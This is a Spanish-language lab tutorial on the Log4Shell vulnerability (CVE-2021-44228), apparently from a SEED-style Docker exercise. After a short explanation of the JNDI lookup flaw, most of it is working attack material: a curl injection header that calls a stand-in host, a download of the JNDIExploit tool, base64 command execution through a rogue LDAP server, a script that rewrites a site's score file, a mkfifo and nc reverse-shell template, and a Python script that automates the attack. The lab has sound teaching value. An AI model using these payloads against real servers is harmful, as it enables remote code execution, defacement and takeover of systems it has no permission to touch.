Demostración de Log4Shell CVE-2021-44228
La noticia más grande en el mundo de la ciberseguridad a finales de 2021 fue la vulnerabilidad de Log4j, numerada como CVE-2021-44228, también conocida como Log4Shell. Fue clasificada con la puntuación máxima de gravedad de 10 en el sistema de puntuación de vulnerabilidades CVSS, y se considera la vulnerabilidad más significativa en los últimos años después de Heartbleed y ShellShock. Algunos incluso la describen como una "vulnerabilidad de nivel nuclear", lo que demuestra la profundidad de su impacto. Este proyecto analiza CVE-2021-44228 y lo combina con la implementación de laboratorio.
Un archivo de registro (logfile) es un archivo que registra eventos que ocurren en un sistema operativo o software en ejecución, o mensajes intercambiados entre usuarios de software de chat en línea. Muchos sistemas operativos, marcos de software y programas incluyen sistemas de archivos de registro. Java tiene un paquete de registro muy útil llamado Log4j. Este paquete pertenece a la Apache Software Foundation, por lo que su nombre completo es Apache Log4j.
Log4j es una herramienta muy útil y ampliamente utilizada por programas Java. A menudo, los ingenieros de software necesitan escribir datos de ejecución de programas en archivos de registro o en otras bases de datos para uso futuro. Para eso sirve Log4j: puede recibir una cadena de algún lugar (por ejemplo, un ID de usuario ingresado en una pantalla de inicio de sesión) y luego escribir la cadena en otro lugar (por ejemplo, un campo de entrada de datos en el proceso de autenticación). Además de copiar/pegar básico, Log4j también puede examinar e interpretar el contenido de la cadena. Interpretar es una acción peligrosa porque, a menos que el programa procese la cadena previamente, es fácil que surjan problemas durante la interpretación. Log4j no procesa la cadena antes de interpretarla, lo que brinda a los atacantes la oportunidad de realizar ataques de inyección.
CVE-2021-44228 es una vulnerabilidad crítica porque permite que un servidor Java sea atacado por un atacante no autenticado mediante RCE (Remote Code Execution). La vulnerabilidad se origina en la forma en que log4j maneja los mensajes de registro. Si un atacante envía un mensaje manipulado (que contenga una cadena como ${jndi:ldap://rogueldapserver.com/a}), esto puede provocar la carga de una clase de código externo o una búsqueda de mensajes y la ejecución de ese código, lo que lleva a RCE.

A continuación se muestra el flujo básico de RCE.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
${jndi:ldap://evil.xo/x}Descargue la máquina virtual SEED Ubuntu 20.04. Esta VM proporciona un entorno Docker preinstalado. Descargar
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Construir la imagen del contenedor
$ docker-compose up # Iniciar el contenedor
$ docker-compose down # Detener el contenedor
# Alias para los comandos de Compose anteriores
$ dcbuild # Alias para: docker-compose build
$ dcup # Alias para: docker-compose up
$ dcdown # Alias para: docker-compose down
$ dockps # Alias para: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias para: docker exec -it <id> /bin/bash
# El siguiente ejemplo muestra cómo obtener un shell dentro de hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
Para simplificar los pasos, todos los servidores están en la misma LAN.

En esta tarea, el usuario puede familiarizarse con cómo funciona log4j. El usuario puede usar el encabezado X-Api-Version para que log4j registre un log.
# <> son partes que el usuario debe modificar
$ curl <ip-del-servidor> -H 'X-Api-Version: <número-de-versión>'
Si el servidor analiza correctamente la solicitud que envió, devolverá un Hello World!.
Registre en el informe el resultado devuelto por el servidor y si el servidor analizó correctamente la solicitud y registró el log.
En 2013, el paquete Log4j agregó el "complemento JNDILookup", que permite a los desarrolladores utilizar JNDI junto con LDAP para obtener objetos de datos Java de otros JNDITutorial externos.
A continuación, usaremos el log4j que acabamos de usar junto con JNDIExploit para que el servidor ejecute el comando que queremos.
# <> son partes que el usuario debe modificar
$ curl <ip-del-servidor> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<contenido>}'
Cree un archivo secret.txt en la carpeta /tmp y entre al servidor para confirmar si el archivo se creó correctamente.
Nota-1: <contenido> no puede contener comandos directamente; deben convertirse.
Nota-2: Dado quevulnerable-appno tiene el shell/bin/bash, si desea verificar el archivo, puede usar el comando docker
$ docker exec vulnerable-app ls /tmp
Después de la tarea anterior, descubrimos que vulnerable-app ejecuta cualquier comando base64 del atacante. Si el atacante quiere realizar operaciones más complejas, puede enviar un script de ataque shell script para que el servidor lo ejecute.
$ cd /var/www
$ head -c <num-cabeza> index.html > tmp
$ echo -n <puntaje> >> tmp
$ tail -c <num-cola> index.html >> tmp
$ mv tmp index.html
Arriba hay un script para modificar la puntuación del sitio web. La puntuación está almacenada en index.html. Primero ejecútelo con éxito e indique las diferencias. Luego modifique este script para cambiar el archivo de puntuación al número que desee.
Nota-1: Una forma conveniente de modificar archivos también es
sed
Nota-2: Dado quevulnerable-appno permite que los usuarios vean /var/www a través del navegador, si desea verificar el archivo, puede usar el comando docker
$ docker exec vulnerable-app cat /var/www/index.html
Después de la tarea anterior, ya podemos convertir el comando que queremos ejecutar en base64 y hacer que el servidor lo ejecute. Para controlar completamente el servidor, podemos usar un comando para crear un reverse shell.
# <> son partes que el usuario debe modificar
$ mkfifo <nombre-archivo>
$ cat <nombre-archivo> | sh -i <turno-salida> | nc <ip-atacante:puerto> > <nombre-archivo>
Para facilitar el proceso, proporcionamos un script de Python para que todos puedan realizar el ataque.
import os
import sys
import base64
import requests
ldap = '###' # modificar por el usuario
server_ip = '###' # modificar por el usuario
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<comando>'
Nota:
vulnerable-appno tiene/bin/bashni/dev/tcp, por lo que no se puede usar el método normal de reverse shell. Sin embargo, podemos crear un archivo pipe para leer y escribir en él.
$ mkfifo <nombre-archivo>